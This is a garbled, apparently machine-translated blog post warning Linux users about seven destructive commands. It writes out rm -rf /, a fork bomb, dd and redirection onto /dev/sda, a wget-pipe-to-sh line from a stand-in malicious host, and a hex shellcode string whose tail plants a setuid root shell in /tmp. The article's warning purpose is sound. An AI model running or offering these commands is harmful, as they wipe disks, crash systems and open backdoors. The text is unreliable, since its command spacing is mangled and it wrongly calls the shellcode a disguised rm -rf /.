contador web Skip to content

7 Dangerous Linux Commands You Should NEVER Run

As the number of lay users of Linux has been increasing over time, I think it is pertinent to warn people about some commands that can be dangerous to both the system and the data on the computer.

7 Dangerous Commands of the Linux World

Terminal is a very powerful tool, so you should master it, or at least understand it, to avoid problems with your Linux-based system.

See also: The course at Diolinux EAD to learn how to master the terminal

The major problems you may encounter using the terminal indiscriminately are usually tied to data overwrite commands, so let's show some here that you should pay special attention to when you see someone suggesting you do it on your Linux computer.

Warning: You should NOT execute any of these commands on your computer, this can cause irreversible damage that we are not responsible for, the article is intended to be instructive, precisely to avoid this kind of situation.

1 – rm -rf

A classic Linux command that theoretically does nothing much, it serves only to erase files, and the one that lives the danger. Depending on the way it is application the result can be very unpleasant, so it's important that you understand what the commands do, let's explain a little better in this example:

– rm: command used on Linux to delete files.– rm -r: The command deletes folders recursively, even if the folders are empty.– rm -f: Using this parameter, the "read only" property that a file has been removed without prompting, allowing the file to be deleted.– rm -rf / : Using the combination of the two parameters with the "/" you tell the system to delete everything in the system root directory.– rm -rf * : Other than deleting everything in the current or working directory, depending on where you are.– rm -rf. : By adding a period, you can also delete hidden folders in addition to normal ones.

Be very careful when executing such a command, especially if done as root or using sudo.

So dangerous that this command may be, that Linux currently protects itself against it, if you run it, even with sudo or as root, it will not work, so I need to use the parameters described in the image above. Just as Linux protects you from unintentionally destroying your system, it also allows you to destroy it by making sure that what you really want is curious, isn't it?

2 – : () {: |: &} ;:

This command acts as a "Fork Bomb", andle operates by defining a function called ':', which is called twice, once in the foreground and once in the background, the process repeats indefinitely until the system crashes.

3 – any command to> / dev / sda

The way in which Linux reads parties and disks is different from Windows, so newbies usually can't understand at first glance how they are distributed. Usually the location of the system storage devices is within / dev, and there may be several around there and usually only sda is present.

The problem with the above command is that it redirects the output of any commands that are placed to your storage block, thus overwriting some data and corrupting others.

4 – mv folder / directory / dev / null

I used to joke about / dev / null referring to it as the "black hole" of Linux. Everything sent to him is lost "forever". So be careful when moving anything to this location. The mv command is for moving files or directories to the specified destination, if this destination is / dev / null you will be sending your files to Romania.

5 – wget http: // malicious_source -O- | sh

This command will appear for you to install some programs. Wget is the program responsible for downloading the URL that comes right after it, it is very useful for downloading files in general, the problem is in the file it downloads and in the sequence of the command that executes it in case it is a shell script. Only download files this way from sources you consider reliable and if in doubt, just download the shell file, eliminating any parameters that appear after the link, so you can open it in a text editor of your choice and check what h inside him.

6 – dd if = / dev / random of = / dev / sda

As there is 3 on our list, the big problem here is fate being / dev / sda. Be careful. The dd command can be very useful for copying files and even entire parties, as in example 6, but if the output is another disk, be careful as the result will overwrite existing data.

7 – Disguised Commands

As I commented in principle, the terminal is a powerful tool, if you do not master it, be careful that you run on it, if you do not speak the terminal language, know that it speaks many others. The command below is nothing more than the command indicated in the first item on our list, only in hexadecimal form.

char esp () __attribute__ ((section (.text))) / * esp release * / = xeb x3e x5b x31 xc0 x50 x54 x5a x83 xec x64 x68 xff xff xff xff x68 xdf xd0 xdf xd9 x68 x8d x99 xdf x81 x68 x8d x92 xdf xd2 x54 x5e xf7 x16 xf7 x56 x04 xf7 x56 x08 xf7 x56 x0c x83 xc4 x74 x56 x8d x73 x08 x56 x53 x54 x59 xb0 x0b xcd x80 x31 xc0 x40 xeb xf9 xe8 xbd xff xff xff x2f x62 x69 x6e x2f x73 x68 x00 x2d x63 x00 cp -p / bin / sh /tmp/.beyond; chmod 4755 /tmp/.beyond ;;

It has the same purpose as the infamous "rm -rf /", So, don't run things in the terminal that you don't know who they serve, there is a lot of free internet content for you to study about and even some good paid courses, like "Mastering the Terminal"This is the same blog, but in general, if you avoid putting commands that you don't know are right, problems will already be minimized.

Now spread this knowledge to help more people be wary of these small mishaps of computing life.

See you next time!

_____________________________________________________________________________ See any errors or would you like to add any suggestions to this article? Collaborate, click here.